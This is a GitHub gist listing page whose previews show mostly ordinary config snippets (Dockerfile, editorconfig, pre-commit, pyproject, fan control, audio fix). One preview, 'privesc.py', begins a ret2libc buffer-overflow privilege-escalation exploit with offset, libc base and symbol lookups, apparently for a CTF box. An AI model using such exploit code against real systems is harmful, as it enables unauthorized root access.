Skip to content

Instantly share code, notes, and snippets.

@ibLeDy
ibLeDy / Dockerfile
Created October 10, 2022 17:33 — forked from iagoalonsomrf/Dockerfile
Best practices for writing Dockerfiles
# Tags should be as specific as possible
FROM ubuntu:jammy-20220815
# Add metadata to the image
LABEL maintainer="[email protected]"
# Use diff-friendly syntax for multi-line commands
# Do not install non-necessary packages
# Sort dependencies
# Clean non-necessary files after installing dependencies
@ibLeDy
ibLeDy / .editorconfig
Created October 10, 2022 17:33 — forked from iagoalonsomrf/.editorconfig
Standardised editor configuration
root = true
[*]
end_of_line = lf
insert_final_newline = true
trim_trailing_whitespace = true
charset = utf-8
indent_style = space
[*.{json,py,tf}]
@ibLeDy
ibLeDy / .pre-commit-config.yaml
Created June 17, 2022 07:49 — forked from os-ia/.pre-commit-config.yaml
Example pre-commit config for Python projects
repos:
- repo: meta
hooks:
- id: check-useless-excludes
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.2.0
hooks:
- id: check-added-large-files
- id: check-ast
@ibLeDy
ibLeDy / pyproject.toml
Last active December 9, 2023 19:19 — forked from os-ia/pyproject.toml
Example configuration files for Python packages
[build-system]
requires = [
"setuptools",
"wheel",
]
build-backend = "setuptools.build_meta"
[tool.black]
line-length = 120
skip-string-normalization = true
@ibLeDy
ibLeDy / privesc.py
Last active December 9, 2023 19:19
Privilege escalation via EIP buffer overflow
#!/usr/bin/python
from struct import pack
offset = 52
junk = "A" * offset
base_libc = 0xb7e19000
# www-data@frolic:/tmp$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "\ssystem|\sexit"
# 141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
@ibLeDy
ibLeDy / fix_black_screen_on_second_monitor.patch
Last active December 20, 2023 11:23
Fix for second monitor with blank screen (Ubuntu 20.04 - HP Pavilion Gaming Laptop 15-ec1xxx, Nvidia GTX 1650, Ryzen 5 4600H)
diff --git a/10-amdgpu.conf b/10-amdgpu.conf
index ef20256..c86f77a 100644
--- a/10-amdgpu.conf
+++ b/10-amdgpu.conf
@@ -1,5 +1,5 @@
Section "OutputClass"
Identifier "AMDgpu"
MatchDriver "amdgpu"
- Driver "amdgpu"
+ Driver "modesetting"
@ibLeDy
ibLeDy / HP Pavilion Gaming Laptop 15-ec1xxx.xml
Last active December 9, 2023 19:19
NBFC config for the HP Pavilion Gaming Laptop 15-ec1xxx
<?xml version="1.0"?>
<FanControlConfigV2 xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<NotebookModel>HP Pavilion Gaming Laptop 15-ec1xxx</NotebookModel>
<Author>bLeDy</Author>
<EcPollInterval>1000</EcPollInterval>
<ReadWriteWords>false</ReadWriteWords>
<CriticalTemperature>68</CriticalTemperature>
<FanConfigurations>
<FanConfiguration>
<ReadRegister>88</ReadRegister>
@ibLeDy
ibLeDy / sql_inner_join.py
Last active December 9, 2023 19:19
SQL inner join example
import sqlite3
PLAYERS = [
(1, 'Player1'),
(2, 'Player2'),
(3, 'Player3'),
]
COUNTRIES = [
(1, 'Country1'),
(2, 'Country2'),

Keybase proof

I hereby claim:

  • I am ibledy on github.
  • I am bledy (https://keybase.io/bledy) on keybase.
  • I have a public key ASCC5Ew7a5CdCeazmNVuWQU6PLZH0mopPCqLGl1Nm-zYjAo

To claim this, I am signing this object:

@ibLeDy
ibLeDy / fix_volume.sh
Last active December 9, 2023 19:19
Fix low volume in IEC958 profile (Corsair HS60) when booting up
#!/usr/bin/env bash
pactl set-card-profile "alsa_card.usb-Corsa_ir_Components_Inc._Corsair_HS60_Surround_Adapter_v0.1-00" "output:analog-stereo"
sleep 1
pactl set-card-profile "alsa_card.usb-Corsa_ir_Components_Inc._Corsair_HS60_Surround_Adapter_v0.1-00" "output:iec958-stereo"